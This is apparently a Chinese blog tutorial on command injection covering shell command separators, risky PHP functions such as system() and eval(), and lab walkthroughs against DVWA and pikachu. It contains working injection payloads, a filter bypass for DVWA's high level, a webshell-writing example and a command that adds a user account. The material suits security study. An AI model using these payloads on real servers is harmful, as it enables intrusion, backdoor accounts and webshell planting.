zoukankan      html  css  js  c++  java
  • 命令执行

    命令执行

    基础知识

    Window

    “|” 管道符,前面命令标准输出,后面命令的标准输入
    “&” commandA & commandB 先运行命令A然后运行命令B
    “||” commandA || commandB 运行命令A,如果失败则运行命令B
    “&&” commandA && commandB 运行命令A,如果成功则运行命令B
    

    Linux

    “|” 管道符,前面命令标准输出,后面命令的标准输入
    “&” commandA & commandB 先运行命令A然后运行命令B
    “||” commandA || commandB 运行命令A,如果失败则运行命令B
    “&&” commandA && commandB 运行命令A,如果成功则运行命令B
    “;” commandA;commandB执行完A执行B
    “%0a” 换行符
    “%0d” 回车符
    

    注入函数

    php

    eval(),assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引号,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()
    

    漏洞利用

    命令注入漏洞,攻击者直接继承web用户权限,可以在服务器上执行任意命令,危害特别大。以下是几种常见的利用方式,但利用方式不止这些,我们可以进行任何shell可以执行的操作。

    • 直接获取webshell

      例如可以写入一句话木马: ?cmd=echo "" > D:phpstudyWWWwebshell.php

    • 显示当前路径

      例如可以提交参数 ?cmd=cd 来查看当前路径。

    • 读文件

      例如:?cmd=type c:windowssystem32driversetchosts,来查看系统hosts文件。

    • 写文件

      例如可以提交参数 ?cmd=echo "" > D:softwareshell.php

    image-20210127202221951

    实验

    DVWA

    low级别:

    image-20210127203130066

    - 127.0.0.1|whoami # 注入命令成功
    - 127.0.0.1&whoami # 注入命令成功
    - 127.0.0.1&&whoami # 注入命令成功
    - 127.0.0.1||whoami # 注入命令成功
    

    medium级别:

    image-20210127203221930

    - 127.0.0.1|whoami # 注入命令成功
    - 127.0.0.1&whoami # 注入命令成功
    - 127.0.0.1&&whoami # 注入命令不成功,查看源码发现&&被过滤。
    - 127.0.0.1||whoami # 注入命令成功
    - 127.0.0.1&;&ipconfig # 注入命令成功
    

    high级别:

    image-20210127203244351

    - 127.0.0.1|whoami # 注入命令成功,因为源码过滤的是'| '(竖线+空格),故我们不在竖线后加空格就可绕开过滤。
    - 127.0.0.1&whoami # 注入命令不成功
    - 127.0.0.1&&whoami # 注入命令不成功
    - 127.0.0.1||whoami # 注入命令不成功
    

    impossible级别:

    image-20210127203307496

    - 127.0.0.1|whoami # 注入命令成功
    - 127.0.0.1&whoami # 注入命令成功
    - 127.0.0.1&&whoami # 注入命令不成功,查看源码发现&&被过滤。
    - 127.0.0.1||whoami # 注入命令成功
    

    pikachu

    ping

    image-20210127203024540

    127.0.0.1 | dir
    127.0.0.1 & dir
    127.0.0.1 || dir
    127.0.0.1 && dir
    127.0.0.1 & ipconfig
    127.0.0.1 | net user hack 123 /add #添加用户
    

    exec

    image-20210127203045731

    phpinfo();
    system("dir");
    system("ipconfig");
    system("whoami");
    
  • 相关阅读:
    事务四大特征:原子性,一致性,隔离性和持久性(ACID)
    解决“要登录到这台远程计算机,你必须被授予”
    SqlServer_查看SQLServer版本信息
    sed 查找文件的某一行内容
    linux echo命令的-n、-e两个参数
    在.Net中进行跨线程的控件操作(上篇:Control.Invoke)
    .NET性能优化方面的总结
    SQLSERVER2008 显示列信息,包含扩展属性
    C#4.0新特性:可选参数,命名参数,Dynamic
    浅谈.net中的params关键字
  • 原文地址:https://www.cnblogs.com/liyu8/p/14336815.html
Copyright © 2011-2022 走看看